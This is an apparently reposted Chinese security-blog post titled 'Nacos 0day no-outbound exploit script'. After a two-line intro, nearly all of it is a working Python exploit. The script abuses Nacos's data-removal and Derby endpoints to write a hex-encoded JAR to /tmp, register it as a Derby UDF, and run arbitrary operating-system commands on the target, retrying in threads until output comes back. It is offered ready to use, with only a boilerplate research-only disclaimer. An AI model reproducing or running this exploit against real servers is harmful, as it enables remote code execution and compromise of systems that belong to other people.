Nacos 0day 不出网利用脚本

admin 2024年7月18日14:33:11评论23 views字数 2478阅读8分15秒阅读模式

0x01 前言

昨天就有朋友问到不出网的打法,今天看到了有人提到了用
SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE来写入文件。

0x02 分析与利用

写好jar,将其放到当前目录,运行脚本会读取jar并写到目标/tmp目录,创建UDF函数并执行。
目录可根据情况更改。Nacos 0day 不出网利用脚本

Nacos 0day 不出网利用脚本

Nacos 0day 不出网利用脚本

Nacos 0day 不出网利用脚本

import random
import sys
import requests
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor, as_completed

def execute_task(target, command, jar_hex, removal_url, derby_url, id, random_filename):
    # SQL 语句,用于将本地读取的JAR包数据写入数据库
    post_sql = f"""
    CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values cast(X''{jar_hex}'' as blob)', '/tmp/{random_filename}', ',', '"', 'UTF-8', '/tmp/{random_filename}.jar')
    CALL SQLJ.INSTALL_JAR('/tmp/{random_filename}.jar', 'APP.{id}', 0)
    CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'APP.{id}')
    CREATE FUNCTION S_EXAMPLE_{id}(PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
    """
    
    option_sql = f"UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{command}')"
    get_sql = f"SELECT * FROM (SELECT COUNT(*) AS b, S_EXAMPLE_{id}('{command}') AS a FROM config_info) tmp /*ROWS FETCH NEXT*/"

    files = {'file': post_sql}
    post_resp = requests.post(url=removal_url, files=files)
    post_json = post_resp.json()
    
    if post_json.get('message', None) is None and post_json.get('data', None) is not None:
        get_resp = requests.get(url=derby_url, params={'sql': get_sql})
        return get_resp.text
    return None

def exploit(target, command, jar_file_path, max_workers=5):
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')

    # 读取本地JAR包数据
    with open(jar_file_path, 'rb') as jar_file:
        jar_data = jar_file.read()
    
    # 将JAR包数据转换为十六进制字符串
    jar_hex = jar_data.hex()

    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        while True:
            futures = []
            for i in range(max_workers):  # 每次提交 max_workers 个任务
                id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
                random_filename = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', 8))
                futures.append(executor.submit(execute_task, target, command, jar_hex, removal_url, derby_url, id, random_filename))
            
            for future in as_completed(futures):
                result = future.result()
                if result:
                    print(result)
                    executor.shutdown(wait=False)
                    return  # 找到有效结果后退出

if __name__ == '__main__':
    target = 'http://127.0.0.1:8848'
    command = 'whoami'
    jar_file_path = 'download.jar'  # 替换为你的默认JAR包文件路径
    target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
    command = input('请输入命令,默认:whoami:') or command
    jar_file_path = input('请输入JAR包文件路径,默认:download.jar:') or jar_file_path
    exploit(target=target, command=command, jar_file_path=jar_file_path)

 

原文始发于微信公众号(小黑说安全):Nacos 0day 不出网利用脚本

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月18日14:33:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos 0day 不出网利用脚本https://cn-sec.com/archives/2966505.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息